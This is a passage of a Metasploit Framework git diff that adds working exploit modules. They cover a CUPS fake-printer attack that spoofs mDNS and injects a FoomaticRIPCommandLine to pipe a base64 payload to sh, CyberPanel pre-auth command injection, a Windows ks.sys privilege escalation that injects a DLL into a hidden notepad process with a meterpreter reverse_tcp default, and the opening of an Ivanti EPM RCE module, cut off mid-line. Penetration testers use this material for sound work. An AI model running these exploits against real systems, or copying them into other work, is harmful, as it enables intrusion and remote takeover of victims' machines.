functionality + 'Spencer McIntyre', + 'RageLtMan ', + # Metasploit module + 'Ryan Emmons' + ], + 'License' => MSF_LICENSE, + 'References' => [ + # The relevant CUPS CVE identifiers + ['CVE', '2024-47076'], + ['CVE', '2024-47175'], + ['CVE', '2024-47177'], + ['CVE', '2024-47176'], + # The initial researcher publication + ['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/'], + # The public exploit this module was inspired by + ['URL', 'https://github.com/RickdeJager/cupshax'], + # The cups-browsed GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8'], + # The libcupsfilters GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5'], + # The libppd GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6'], + # The cups-filters GitHub security advisory + ['URL', 'https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47'], + # The IPP server implementation this module is based on + ['URL', 'https://github.com/h2g2bob/ipp-server/'] + ], + # Executes as 'lp' on most Linux distributions + 'Privileged' => false, + 'Targets' => [['Default', {}]], + 'Platform' => %w[linux unix], + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET', + 'FETCH_WRITABLE_DIR' => '/var/tmp' + }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'DefaultAction' => 'Service', + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-09-26', + 'Notes' => { + # There's a small chance the fake printer may flag as "broken" after one execution + # If this happens, other victims on the LAN will still be susceptible to code execution + # However, this *shouldn't* happen :) + 'Stability' => [CRASH_SAFE], + # Requires a user to send a print job to the malicious printer to trigger RCE + 'Reliability' => [EVENT_DEPENDENT], + 'SideEffects' => [ + # /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name + # /var/log/cups/access_log will contain the IPP server details and printer name + IOC_IN_LOGS, + # The /tmp directory will likely contain a file called "foomatic-" + five random characters + # This file is a PDF owned by 'lp', and it's the content that the victim user tried to print + ARTIFACTS_ON_DISK + ] + } + ) + ) + + register_options( + [ + OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/), + OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), + OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) + ] + ) + end + + def validate + super + + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' }) + end + + # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) + end + end + + # + # Wrapper for service execution and cleanup + # + def exploit + @printer_uuid = SecureRandom.uuid + start_mdns_service + start_ipp_service + print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised") + service.wait + rescue Rex::BindFailed => e + print_error "Failed to bind to port: #{e.message}" + end + + # mDNS code below + def start_mdns_service + self.service = Rex::ServiceManager.start( + Rex::Proto::MDNS::Server, + '0.0.0.0', + 5353, + false, + nil, + MulticastComm, + { 'Msf' => framework, 'MsfExploit' => self } + ) + + service.dispatch_request_proc = proc do |cli, data| + on_dispatch_mdns_request(cli, data) + end + service.send_response_proc = proc do |cli, data| + on_send_mdns_response(cli, data) + end + rescue ::Errno::EACCES => e + raise Rex::BindFailed, e.message + end + + def create_ipp_response(version_major, version_minor, request_id) + # Printer attributes + attributes = {} + + # Creating an MVP ("Minimum Viable Printer") + + # charset + attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8'] + + # charset + attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8'] + + # keyword + attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none'] + + # mimeMediaType + attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf'] + + # mimeMediaType + attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf'] + + # naturalLanguage + attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en'] + + # keyword + attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1'] + + # keyword + attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm'] + + # keyword + attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm'] + + # keyword + attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery'] + + enc_payload = Rex::Text.encode_base64(payload.encoded) + + # 1setOf keyword + attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [ + 'stationery', + # Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server + ": HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \"application/vnd.cups-pdf application/pdf 0 foomatic-rip\"\n*%" + ] + + # naturalLanguage + attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en'] + + # 1setOf enum + attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [ + OperationEnum::PRINT_JOB, + OperationEnum::VALIDATE_JOB, + OperationEnum::CANCEL_JOB, + OperationEnum::GET_JOB_ATTRIBUTES, + OperationEnum::GET_PRINTER_ATTRIBUTES + ] + + # keyword + attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted'] + + # textWithoutLanguage + attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer'] + + # textWithoutLanguage + attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00'] + + # nameWithoutLanguage + attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer'] + + # enum + attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE + + # keyword + attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none'] + + # integer + attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i] + + # uri + attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer'] + + # keyword + attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none'] + + # keyword + attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none'] + + # Create response, imitating ipp-server's 'to_file' function + + # Pack the version + response = [version_major, version_minor].pack('C*') + + # Pack the 2-byte status code + response << [0x0000].pack('n') + + # Pack the 4-byte request ID + response << [request_id].pack('N') + + # Group the above defined attributes by section (we use the PRINTER section for the payload) + attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section| + response << [section].pack('C') + + attrs_in_section.each do |key, values| + _section, name, tag = key + values.each_with_index do |value, i| + response << [tag].pack('C') + if i == 0 + response << [name.length].pack('n') + response << name + else + response << [0].pack('n') + end + + # Make sure non-string values work by packing as four bytes (should work for all ints) + if value.is_a?(Integer) + response << [4].pack('n') + response << [value].pack('N') + else + # Packing strings + response << [value.length].pack('n') + response << value + end + end + end + end + + # Close out attributes with an ENDTAG + response << [SectionEnum::ENDTAG].pack('C') + + response + end + + # + # IPP servers communicate using a binary protocol via HTTP + # + def start_ipp_service + # Start the IPP web service + self.service2 = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + srvport, + srvhost, + false, + { 'Msf' => framework, 'MsfExploit' => self }, + Rex::Socket::Comm::Local + ) + + # Register a route for queries to the printer + service2.add_resource('/ipp/print', + 'Proc' => proc do |cli, req| + case req.method + # Some printers perform an initial GET request before the exploitable POST request + # We serve up agreeable placeholder data for that initial request + when 'GET' + # Send HTTP response data + ppd_content = ppd_out + send_response(cli, ppd_content, + 'Content-Type' => 'application/postscript') + + # When the victim system interacts with our printer, a POST request will be received + when 'POST' + # When VERBOSE is true, all request bytes will be printed + vprint_status("Received IPP request: #{req.body.bytes.map do |b| + format('%02x', b) + end.join(' ')}") + data = req.body.bytes + return if data.length < 8 + + # Extract version, operation, and request ID from the request to print in VERBOSE mode + version_major = data[0] + version_minor = data[1] + operation_id = (data[2] << 8) | data[3] + request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7] + + vprint_status("IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}") + + # Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload + response = create_ipp_response(version_major, version_minor, request_id) + + send_response(cli, response, + 'Content-Type' => 'application/ipp', + 'Content-Length' => response.length.to_s) + end + rescue StandardError => e + vprint_error('An error occurred while processing an IPP request') + vprint_error("IPP Error is #{e.class} - #{e.message}") + vprint_error(e.backtrace.join("\n").to_s) + raise e + end, + 'Path' => '/ipp/print') + + print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}") + rescue Rex::BindFailed => e + vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}") + raise e + end + + # + # Printer info for victim systems that require an initial GET request. + # + def ppd_out + <<~PPD + *PPD-Adobe: "4.3" + *FormatVersion: "4.3" + *FileVersion: "1.0" + *LanguageVersion: English + *LanguageEncoding: ISOLatin1 + *PCFileName: "#{datastore['PrinterName']}.PPD" + *Manufacturer: "#{datastore['PrinterName']}" + *Product: "(#{datastore['PrinterName']})" + *ModelName: "#{datastore['PrinterName']}" + *ShortNickName: "#{datastore['PrinterName']}" + *NickName: "#{datastore['PrinterName']}" + *PSVersion: "(3010.000) 0" + *LanguageLevel: "3" + *ColorDevice: True + *DefaultColorSpace: RGB + *FileSystem: False + *Throughput: "1" + *LandscapeOrientation: Plus90 + *TTRasterizer: Type42 + *cupsVersion: 1.4 + *cupsModelNumber: 1 + *cupsManualCopies: True + *cupsFilter: "application/vnd.cups-postscript 0 -" + *cupsFilter: "application/vnd.cups-pdf 0 -" + *OpenUI *PageSize/Media Size: PickOne + *DefaultPageSize: Letter + *PageSize Letter: "<>setpagedevice" + *CloseUI: *PageSize + *DefaultImageableArea: Letter + *ImageableArea Letter: "0 0 612 792" + *DefaultPaperDimension: Letter + *PaperDimension Letter: "612 792" + PPD + end + + # + # Creates Proc to handle incoming requests + # + def on_dispatch_mdns_request(cli, data) + # Handle empty mDNS data + return if data.strip.empty? + + # Encode the incoming packet as a Dnsruby message + req = Packet.encode_drb(data) + + # Ignore responses + return if req.header.qr + + # Print the incoming request in VERBOSE mode (will produce a lot of output) + peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport) + asked = req.question.map(&:qname).map(&:to_s).join(', ') + vprint_status("Received request for #{asked} from #{peer}") + + # Assign printer name variables for mDNS responses + printer_name = datastore['PrinterName'] + printer_name_no_space = printer_name.gsub(/ /, '') + ipp_printer_name = "#{printer_name_no_space}._ipp._tcp.local" + + # A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries + # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu) + # Also, different distributions seem to have different flows for that, which made the approach unreliable + # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer + return unless req.question.first + + # PTR record + req.add_answer(Dnsruby::RR.create( + name: '_ipp._tcp.local.', + type: 'PTR', + # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation + # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue + ttl: 30, + domainname: "#{ipp_printer_name}." + )) + # A record for our printer + # All of these answers seem to need to be additional record answers, not just answers + req.add_additional(Dnsruby::RR.create( + name: "#{printer_name_no_space}.local.", + type: 'A', + ttl: 30, + # The IP address of our malicious HTTP IPP service + address: datastore['SRVHOST'] + )) + + # SRV record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'SRV', + ttl: 30, + priority: 0, + weight: 0, + # The port of our malicious HTTP IPP service + port: datastore['SRVPORT'], + target: "#{printer_name_no_space}.local." + )) + + # TXT record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'TXT', + ttl: 30 + ).tap do |rr| + rr.strings = [ + 'txtvers=1', + 'qtotal=1', + 'rp=ipp/print', + "ty=#{printer_name}", + 'pdl=application/postscript,application/pdf', + # The "adminurl" value may or may not be queried, depending on the victim type + # Points to our malicious HTTP IPP service + "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", + 'priority=0', + 'color=T', + 'duplex=T', + # Unique UUID to avoid printer collision from multiple runs with the same configuration + "UUID=#{@printer_uuid}" + ] + end) + + # NSEC record, seems to be required, should be additional answer type + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'NSEC', + ttl: 30, + next_domain: "#{ipp_printer_name}.", + types: 'AAAA' + )) + + # Indicate our mDNS message is a query response + req.header.qr = 1 + # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one + # https://datatracker.ietf.org/doc/html/rfc6762 + req.header.aa = 1 + + # Clear questions and update counts for our response + req.question.clear + req.update_counts + + # Encode and send response + response_data = Packet.generate_response(req).encode + + service.send_response(cli, response_data) + end + + # + # Creates Proc to handle outbound responses + # + def on_send_mdns_response(cli, data) + # Log to console in VERBOSE mode, then write response + vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") + cli.write(data) + end + + def cleanup + super + + if service2 + # Remove the IPP resource before stopping the HTTP service + service2.remove_resource('/ipp/print') + service2.stop + self.service2 = nil + end + + return unless service + + # Stop the mDNS service + service.stop + self.service = nil + end +end diff --git a/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb b/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb index a26bf80f6424..5370ad671e99 100644 --- a/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb +++ b/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb @@ -141,7 +141,7 @@ def do_login print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}" end if ssh - conn = Net::SSH::CommandStream.new(ssh) + conn = Net::SSH::CommandStream.new(ssh, logger: self) return conn end end diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index 078f2a61534f..4a00473d50bf 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -181,6 +181,6 @@ def exploit # Make the SSH connection and execute our commands + payload print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!") - Net::SSH::CommandStream.new(ssh, build_command) + Net::SSH::CommandStream.new(ssh, build_command, logger: self) end end diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index b08c4861e45a..2493f2002053 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -179,7 +179,7 @@ def userauth_passwd_change(user, transport, connection) message = transport.next_message.type if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT - shell = Net::SSH::CommandStream.new(connection) + shell = Net::SSH::CommandStream.new(connection, logger: self) connection = nil return shell end diff --git a/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb b/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb new file mode 100644 index 000000000000..32c3a6acc7a0 --- /dev/null +++ b/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Module::HasActions + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CyberPanel Multi CVE Pre-auth RCE', + 'Description' => %q{ + This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel: + + - CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint. + - CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink. + - CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus". + + These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks. + }, + 'Author' => [ + 'DreyAnd', # Vulnerability discovery (CVE-2024-51567-8) + 'Valentin Lobstein', # Metasploit Module + 'Luka Petrovic (refr4g)' # Vulnerability discovery (CVE-2024-51378) + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-51567'], + ['CVE', '2024-51568'], + ['CVE', '2024-51378'], + ['URL', 'https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce'], + ['URL', 'https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/'], + ['URL', 'https://github.com/DreyAnd/CyberPanel-RCE'], + ['URL', 'https://github.com/refr4g/CVE-2024-51378'], + ['URL', 'https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/'], + ['URL', 'https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882'] + ], + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultOptions' => { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => '2024-10-27', + 'Actions' => [ + ['CVE-2024-51567', { 'Description' => 'Exploit using CVE-2024-51567' }], + ['CVE-2024-51568', { 'Description' => 'Exploit using CVE-2024-51568' }], + ['CVE-2024-51378', { 'Description' => 'Exploit using CVE-2024-51378' }] + ], + 'DefaultAction' => 'CVE-2024-51567', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + Opt::RPORT(8090) + ]) + end + + def detect_cyberpanel + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + return false unless res + + html = res.get_html_document + + paths = [ + html.at('link[href="/static/baseTemplate/assets/finalLoginPageCSS/allCss.css"]')&.[]('href'), + html.at('img[src="/static/baseTemplate/cyber-panel-logo.svg"]')&.[]('src') + ] + + return false unless paths.all? + + paths.all? do |path| + response = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, path) + }) + response&.code == 200 + end + end + + def check + return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel + + if test_vulnerability(action.name.downcase) + CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.') + else + CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.') + end + end + + def exploit + execute_payload(action.name.downcase, payload.encoded) + end + + def execute_payload(action, injected_payload) + endpoint = nil + method = nil + payload_data = nil + headers = {} + ctype = nil + + case action + when 'cve-2024-51567' + endpoint = 'dataBases/upgrademysqlstatus' + method = 'OPTIONS' + payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload + + when 'cve-2024-51568' + endpoint = 'filemanager/upload' + method = 'POST' + + csrf_token = get_csrf_token + + post_data = Rex::MIME::Message.new + random_domain = Rex::Text.rand_text_alphanumeric(8) + random_complete_path = "/dev/null;#{injected_payload} #" + random_filename = "#{Rex::Text.rand_text_alphanumeric(6)}.txt" + random_content = Rex::Text.rand_text_alphanumeric(4) + + post_data.add_part(random_domain, nil, nil, 'form-data; name="domainName"') + post_data.add_part(random_complete_path, nil, nil, 'form-data; name="completePath"') + post_data.add_part(random_content, 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{random_filename}\"") + payload_data = post_data.to_s + + headers['X-CSRFToken'] = csrf_token + headers['Referer'] = "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}" + headers['Cookie'] = "csrftoken=#{csrf_token}" + ctype = "multipart/form-data; boundary=#{post_data.bound}" + + when 'cve-2024-51378' + endpoint = "#{['ftp', 'dns'].sample}/getresetstatus" + method = 'OPTIONS' + payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload + + else + fail_with(Failure::BadConfig, 'Invalid action selected') + end + + send_request_cgi({ + 'method' => method, + 'uri' => normalize_uri(target_uri.path, endpoint), + 'data' => payload_data, + 'ctype' => ctype, + 'headers' => headers + }) + end + + def test_vulnerability(action) + sleep_times = [rand(2..5), rand(2..5)].uniq.sort + + test_payloads = sleep_times.map { |t| "sleep #{t}" } + confirmed_payloads = [] + + test_payloads.each do |test_payload| + start_time = Time.now + + res = execute_payload(action, test_payload) + + next unless res + + elapsed_time = Time.now - start_time + + match = test_payload.match(/sleep (\d+)/) + confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i + end + + (confirmed_payloads & test_payloads).size == test_payloads.size + end + + def get_csrf_token + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + csrf_token = res&.get_cookies&.match(/csrftoken=(\w+)/)&.captures&.first + fail_with(Failure::NotFound, 'Unable to retrieve CSRF token.') unless csrf_token + vprint_status("CSRF Token retrieved: #{csrf_token}") + csrf_token + end +end diff --git a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb index 629d097e29fd..a2ab61079da6 100644 --- a/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb +++ b/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb @@ -261,7 +261,6 @@ def exploit # start file copy rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname) - # launch trigger launch_dll_trigger print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}") @@ -285,8 +284,7 @@ def validate_target end version_info = get_version_info - vprint_status("Version: #{version_info.number}") - unless version_info.build_version.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909) + unless version_info.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1909) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363') end end diff --git a/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb b/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb new file mode 100644 index 000000000000..20201e968228 --- /dev/null +++ b/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + include Msf::Post::Windows::Version + prepend Msf::Exploit::Remote::AutoCheck + + class VulnerableDriverNotPresent < StandardError; end + class TargetNot64BitWindows < StandardError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Access Mode Mismatch LPE in ks.sys', + 'Description' => %q{ + The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. + There exists a LPE in this driver which can be exploited on many recent versions of Windows 10, + Windows 11, Windows Server 2022. + }, + 'Author' => [ + 'AngelBoy', # discovery + 'varwara', # PoC + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://github.com/varwara/CVE-2024-35250'], + [ 'URL', 'https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/'], + [ 'URL', 'https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html'], + [ 'CVE', '2024-35250'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Privileged' => true, + 'Arch' => [ ARCH_X64 ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-06-11', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + end + + def target_compatible?(version) + raise TargetNot64BitWindows, 'Non 64-bit Windows systems are not affected' unless session.platform == 'windows' && sysinfo['Architecture'] == ARCH_X64 + + file_path = get_env('WINDIR') + '\\system32\\drivers\\ks.sys' + raise VulnerableDriverNotPresent, 'The target system does not have ks.sys in system32\\drivers\\' unless file?(file_path) + + vprint_status("Windows Build Number = #{version.build_number}") + + return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_22H2) + return true if version.build_number == Msf::WindowsVersion::Win11_21H2 || version.build_number == Msf::WindowsVersion::Win11_22H2 + return true if version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2022) + + false + end + + def check + version = get_version_info + begin + return Exploit::CheckCode::Appears("ks.sys is present, Windows Version detected: #{version}") if target_compatible?(version) + rescue VulnerableDriverNotPresent, TargetNot64BitWindows => e + return Exploit::CheckCode::Safe("#{e.class}: #{e.message}") + end + + CheckCode::Safe("Version detected: #{version}") + end + + def exploit + fail_with(Failure::None, 'Session is already elevated') if is_system? + + if datastore['ForceExploit'] || !datastore['AutoCheck'] + begin + version = get_version_info + fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}") unless target_compatible?(version) + print_good("ks.sys is present, Windows Version detected: #{version}") + rescue VulnerableDriverNotPresent, TargetNot64BitWindows => e + fail_with(Failure::NoTarget, "#{e.class}: #{e.message}") + end + end + + print_status('Launching notepad to host the exploit...') + notepad_path = get_notepad_pathname(ARCH_X64, client.sys.config.getenv('windir'), ARCH_X64) + + print_status("The notepad path is: #{notepad_path}") + notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true }) + print_status("The notepad pid is: #{notepad_process.pid}") + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-35250', 'CVE-2024-35250.x64.dll'), + [encoded_payload.length].pack('I<') + encoded_payload, + notepad_process.pid + ) + end +end diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb new file mode 100644 index 000000000000..f11f289459b8 --- /dev/null +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -0,0 +1,199 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +require 'rex/proto/ms_nrtp/client' + +class MetasploitModule < Msf::Exploit::Remote + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::Tcp + + Rank = ExcellentRanking + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti EPM Agent Portal Command Execution', + 'Description' => %q{ + This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method + which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. + This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. + }, + 'Author' => [ + 'James Horseman', # original poc + 'Zach Hanley', # original poc + 'Spencer McIntyre' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-28324'], + ['URL', 'https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US'], + ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], + ], + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ 'Automatic', {} ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-06-07', # Ivanti article created date + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options([ + Opt::RPORT(nil, true, 'The target port is not static. For more info, see this module\'s Verifications Steps in the docs.'), + ]) + deregister_options('SSL') + end + + def check + cwd = execute_command('echo %cd%', 0) + return CheckCode::Safe('Command execution failed.') unless cwd.to_s =~ /.:\\Windows\\System32/i + + CheckCode::Vulnerable("Command execution test succeeded. Current working directory: #{cwd}") + rescue Rex::SocketError => e + CheckCode::Safe("MS-NRTP connection failed. #{e.class}: #{e.message}") + end + + def exploit + execute_command(payload.raw) + end + + def execute_command(command, result_delay = -1) + if @nrtp_client.nil? + @nrtp_client = client = 